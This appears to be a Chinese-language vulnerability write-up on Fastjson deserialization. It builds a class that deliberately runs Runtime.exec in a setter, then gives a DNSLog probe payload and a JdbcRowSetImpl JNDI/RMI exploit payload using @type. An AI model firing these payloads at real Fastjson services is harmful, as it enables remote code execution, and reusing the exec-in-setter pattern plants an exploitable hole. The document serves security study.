FastJson反序列化漏洞分析
前言
一、Fastjson的介绍
fastjson一款开源的java项目。采用独创的算法,将parse的速度提升到极致,超过所有json库,包括曾经号称最快的jackson。支持各种JDK类型。JDK 5、JDK 6、Android、阿里云手机等环境。包括基本类型、JavaBean、Collection、Map、Enum、泛型等。代码托管在github.org上,项目地址是 https://github.com/AlibabaTech/fastjson。
二、简单使用
1.将bean对象转换为json
代码如下(示例):
package com.fastjson.test;
import java.io.IOException;
public class User {
private int age;
public String name;
public void sayHello(){
System.out.println("Hello, I am "+name);
}
public void getName(){
System.out.println(name);
}
public int getAge() {
return age;
}
public void setAge(int age){
this.age = age;
System.out.println("调用了setAge方法");
}
public void setName(String name) throws IOException {
this.name = name;
Runtime.getRuntime().exec(this.name);
System.out.println("调用了setName方法");
}
}
package com.fastjson.test;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class Test {
public static void main(String[] args) throws IOException {
User user = new User();
user.setName("wanghao");
user.setAge(25);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
运行结果:
调用了setName方法
调用了setAge方法
{“age”:25,“name”:“wanghao”}
2.将json转换为对象
更改setName函数如下:
public void setName(String name) throws IOException {
this.name = name;
Runtime.getRuntime().exec(this.name);
System.out.println("调用了setName方法");
}
调用如下:
String str = "{\"age\":25,\"name\":\"calc\"}";
User user = JSON.parseObject(str,User.class);
弹出了计算机
3.通用性
当使用JSON.parseObject(str,User.class)进行调用的时候,可以控制前端提交的json内容,但是不知道类的名称。这里的核心就是fastjson的@type机制。通过全路径名能指定需要转换的类。
调用方式如下:
String str1 = "{\"@type\":\"com.fastjson.test.User\",\"age\":25,\"name\":\"calc\"}";
Object users = JSON.parseObject(str1);
运行结果:
三、漏洞分析挖掘思路
通过@type指定可以通过lookup做bean查询进行远程jndi注入的函数。
例如:
提交poc如下
String poc = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zy9fjf.dnslog.cn\"}";
JSON.parseObject(poc);
最终执行java.net.Inet4Address类,查看dnslog如下:
进一步利用:
exp如下
String poc = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:9999/Exploit\", \"autoCommit\":true}";
调试
跟踪到DefaultJSONParser.class中,通过判断key为@type,就进行了反序列化操作。该位置即可对传入的任意类全路径名通过反射进行实例化操作,并且传入的全路径类名可控。
com.sun.rowset.JdbcRowSetImpl分析
核心位置
getDataSourceName()获取到传入的url传入lookup函数里,lookup函数做远程bean查询。就可以远程进行jndi注入,执行恶意对象。